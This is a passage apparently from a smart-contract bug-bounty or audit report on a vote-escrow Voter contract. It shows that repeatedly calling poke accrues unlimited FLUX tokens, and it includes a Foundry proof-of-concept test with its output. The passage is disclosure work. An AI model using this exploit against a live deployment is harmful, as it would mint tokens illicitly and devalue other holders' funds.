function poke(uint256 _tokenId) public {
// Previous boost will be taken into account with weights being pulled from the votes mapping
uint256 _boost = 0;
if (msg.sender != admin) {
require(IVotingEscrow(veALCX).isApprovedOrOwner(msg.sender, _tokenId), "not approved or owner");
}
address[] memory _poolVote = poolVote[_tokenId];
uint256 _poolCnt = _poolVote.length;
uint256[] memory _weights = new uint256[](_poolCnt);
for (uint256 i = 0; i < _poolCnt; i++) {
_weights[i] = votes[_tokenId][_poolVote[i]];
}
_vote(_tokenId, _poolVote, _weights, _boost);
}
It internally calls _vote functions which is responsible for voting by looping though the provided gauge addresses and it also accrues the flux token for voters by calling Flux:accrueFlux.
function _vote(uint256 _tokenId, address[] memory _poolVote, uint256[] memory _weights, uint256 _boost) internal {
...SNIP...
//@audit if we call from poke the we can accrue unlimited FLUX
IFluxToken(FLUX).accrueFlux(_tokenId);
uint256 totalPower = (IVotingEscrow(veALCX).balanceOfToken(_tokenId) + _boost);
for (uint256 i = 0; i < _poolCnt; i++) {
address _pool = _poolVote[i];
address _gauge = gauges[_pool];
require(isAlive[_gauge], "cannot vote for dead gauge");
uint256 _poolWeight = (_weights[i] * totalPower) / _totalVoteWeight;
require(votes[_tokenId][_pool] == 0, "already voted for pool");
require(_poolWeight != 0, "cannot vote with zero weight");
_updateFor(_gauge);
poolVote[_tokenId].push(_pool);
weights[_pool] += _poolWeight;
votes[_tokenId][_pool] += _poolWeight;
IBribe(bribes[_gauge]).deposit(uint256(_poolWeight), _tokenId);
_totalWeight += _poolWeight;
emit Voted(msg.sender, _pool, _tokenId, _poolWeight);
}
if (_totalWeight > 0) IVotingEscrow(veALCX).voting(_tokenId);
totalWeight += uint256(_totalWeight);
usedWeights[_tokenId] = uint256(_totalWeight);
lastVoted[_tokenId] = block.timestamp;
// Update flux balance of token if boost was used
if (_boost > 0) {
IFluxToken(FLUX).updateFlux(_tokenId, _boost);
}
}
If a user has locked their BPT but has never voted, they can call the poke function. This function attempts to renew the user's voting, but because the user never voted in the first place there is nothing to renew, it only accrues the flux for the user. The user can call this poke function as often as they want to accumulate unlimited flux.
Impact Details
Users can mint an unlimited amount of FLUX, which could potentially devalue the currency and undermine the logic for boosting and early unlocks.
The FLUX token is a vital component of the system and is expected to hold some tangible value in the open market. Unlimited minting could potentially disrupt its tokenomics and make the protocol's DAO insolvent.
Imagine if such an attack occurs one year after the protocol launch. Users holding millions of dollars worth of FLUX could lose everything due to a price surge.
Based on above stated reason I believe this to be a critical issue.
Here is a simple test to show how veALCX holder can call Voter::poke many times and accrue unlimited flux.
paste the test in FluxTokenTest.t.sol and run it.
function testMintUnlimitedFLux() external {
uint256 tokenId = createVeAlcx(admin, TOKEN_1, veALCX.MAXTIME(), true);
//Within the same epoch call poke function as many times as you want to earn unlimited flux
hevm.startPrank(admin);
// For example for are doing only 100 iterations
for (uint256 i = 0; i < 100; i++) {
voter.poke(tokenId);
}
uint256 claimableFluxAfterPoke = flux.getUnclaimedFlux(tokenId);
flux.claimFlux(tokenId, claimableFluxAfterPoke);
console2.log("Flux Stolen: ", flux.balanceOf(admin));
vm.stopPrank();
}
Output
Here you can see 98.839805301052500300 FLUX is stolen just by calling the poke function 100 times.
Ran 1 test for src/test/FluxToken.t.sol:FluxTokenTest
[PASS] testMintUnlimitedFLux() (gas: 2867107)
Logs:
Flux Stolen: 98839805301052500300
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 93.06s (65.30s CPU time)
Ran 1 test suite in 93.95s (93.06s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)